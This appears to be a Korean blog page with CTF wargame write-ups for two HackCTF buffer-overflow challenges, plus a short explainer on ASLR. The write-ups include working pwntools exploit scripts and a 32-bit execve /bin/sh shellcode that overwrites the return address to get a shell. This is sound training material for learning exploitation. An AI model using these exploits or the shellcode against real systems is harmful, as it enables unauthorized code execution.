file 명령어로 문제 파일을 확인해보면 32비트 리눅스 실행파일임을 확인할 수 있다.

프로그램을 실행시키면 다음과 같이 입력을 받고 끝난다.

gdb에서 checksec명령으로 적용된 보호기법을 보면 NX, PIE, RELRO보호기법이 적용된 것을 확인할 수 있다.

info func명령으로 함수 목록을 확인하면 다음과 같다.

작성된 함수는 two, print_flag, one, select_func, main 함수 인 것 같다. 

위 함수들을 IDA 헥스레이로 확인하면 다음과 같다.

최종적으로 실행해야 할 함수는 flag.txt를 읽어오는 print_flag()함수인 것 같다.

main 함수에서는 문자열을 입력받고 있고, 입력받은 문자열을 인자로 하여 select_func()함수를 실행하고 있다. 

select_func함수에서는 인자로 받은 문자열이 "one"이면  one함수를 실행한다. 

실제로 바이너리를 실행하고 one을 입력하면 one함수가 실행됨을 확인할 수 있다.

gdb로 select_func함수를 보면 다음과 같다.

select_func+85를 보면 call로 eax를 호출하고있다. select+85에 bp를 걸고 실행하면 다음과 같다.

eax레지스터에 저장된 값은 다음과 같다.

현재 스택에서 입력한 값의 위치와 eax에 저장된 0x56555600의 위치는 다음과 같다.

입력값 시작점과 eax에 저장된 값의 위치는 30바이트 차이나기 때문에 입력값에 30을 넣고 print_flag함수의 주소를 넣으면 될 것 같다. print_flag의 주소는 0x000006d8이다.

파이썬 익스 코드를 작성하고 실행하면 다음과 같다.

from pwn import *

p = remote('ctf.j0n9hyun.xyz', 3007)
p.recvuntil('Which function would you like to call?')

flag_addr = p32(0x000006d8)
pay = 'A'*30 + flag_addr

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[HackCTF] BOF_PIE  (0) 2021.06.01
[LoS] golem  (0) 2021.05.19
[HackCTF] Simple_Overflow_ver_2  (0) 2021.05.10
[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25
[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23

문제 바이너리를 실행시키면 다음과 같이 입력을 받고, 입력값이 저장된 주소(추측)와 입력값을 출력해주는 것을 확인할 수 있다. y를 입력받으면 다시 입력받고, n을 입력하면 프로그램이 종료된다.

file 명령어로 확인해보면 32비트 리눅스 실행파일임을 확인할 수 있다.

peda에서 checksec 명령으로 적용된 보호기법을 확인해보면 다음과 같다.

NX보호기법도 적용되어 있지 않아서 쉘 코드를 삽입할 수 있을 것 같다.

info func 명령으로 함수 목록을 보면 다음과 같다.

main함수 말고는 따로 작성된 함수는 없는것 같다.

main 함수의 어셈 코드를 보면 다음과 같다.

main+83의 위치에서 scanf 함수로 입력값을 받는 것 같다.

scanf 함수가 실행된 이후인 main+88에 bp를 걸고 실행하여 입력하고 esp레지스터를 확인하면 다음과 같다.

내가 입력한 "AAAAA"는 0xffffd040에 저장되는것을 확인할 수 있다.

그리고 info frame 명령으로 eip에 저장된 값을 확인하면 다음과 같다. eip레지스터는 cpu가 다음 실행할 코드의 주소를 저장하고 있다.

eip가 저장하고 있는 값은 0xf7df4f21이고, 이 주소값은 위 esp레지스터에서 찾아보면 0xffffd0cc에 있다.

0xfffd0cc(다음 실행할 주소)와 0xffffd040(입력된 값이 저장되는 위치)는 10진수로 140만큼 차이가 난다.

따라서 입력값으로 쉘코드를 넣고, 더미값으로 140을 채운 후 입력값이 저장되는 주소를 넣으면 쉘 코드가 실행되어 쉘을 딸 수 있을 것 같다. 입력값이 저장되는 주소는 프로그램을 실행하고 값을 입력하면 주소를 출력해주기 때문에 익스 코드에서는 한번은 임의의 값을 입력하여 입력값이 저장되는 주소를 알아내고, 이후에 쉘 코드를 입력하여 쉘을 실행하도록 할 것이다. 다음과 같이 익스코드를 작성하면 쉘을 딸 수 있다. 쉘코드는 25바이트 리눅스 32비트 쉘코드를 사용하였다.

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3006)

p.recvuntil('Data : ')
p.sendline('test')
addr = int(p.recv(10),16)
p.recvuntil('Again (y/n): ')
p.sendline('y')
p.recvuntil('Data : ')

shell = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'

pay = shell + 'A'*115 + p32(addr)

p.sendline(pay)
p.interactive()

'Security & Hacking > Wargame' 카테고리의 다른 글

[LoS] golem  (0) 2021.05.19
[HackCTF] Offset  (0) 2021.05.13
[Hack CTF] x64 Simple_size_BOF  (0) 2021.04.25
[Hack CTF] x64 Buffer Overflow  (0) 2021.04.23
[LoS] skeleton  (0) 2020.11.10

ASLR(Address Space Layout Randomization)은 메모리 손상 취약점 공격을 방지하기 위한 기술이다. 스택, 힙, 라이브러리 등의 주소를 랜덤한 영역에 배치하여 공격에 필요한 Target address를 예측하기 어렵게 만든다. 프로그램이 실행될 때 마다 각 주소들이 변경된다. 

 

ASLR은 /proc/sys/kernel/randomize_va_space 파일에서 설정하며 0 은 ASLR 해제, 1은 랜덤스택, 랜덤 라이브러리 설정, 2는 랜덤 스택, 랜덤 라이브러리, 랜덤 힙을 설정한다. 

ASLR을 확인하기 위해 다음과 같은 코드를 작성하고 컴파일한다.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *global = "aslr.test";

int main()
{
    char *heap = malloc(100);
    char *stack[] = {"ASLR"};

    printf("[Heap] address : %p\n", heap);
    printf("[Stack] address : %p\n", stack);
    printf("[libc] address : %p\n", **(&stack + 3));
    printf("[.data] address : %p\n", global);
    gets(heap);
    return 0;
}

다음과 같이 randomize_va_space 파일을 0으로 설정하면 프로그램을 실행할 때 마다 heap, stack, libc 주소 영역이 변경되지 않는다.

randomize_va_space 파일을 1로 설정하면 힙 주소는 고정되어 있고, 스택과 libc 주소만 바뀌는 것을 확인할 수 있다.

randomize_va_space 파일을 2로 설정하면 

heap, stack, libc 주소가 모두 바뀌는 것을 확인할 수 있다. 

2로 설정해도 .data의 주소는 변하지 않는다. .data영역의 주소도 매번 무작위의 주소로 할당하려면 PIE보호기법을 적용해야 한다.

+ Recent posts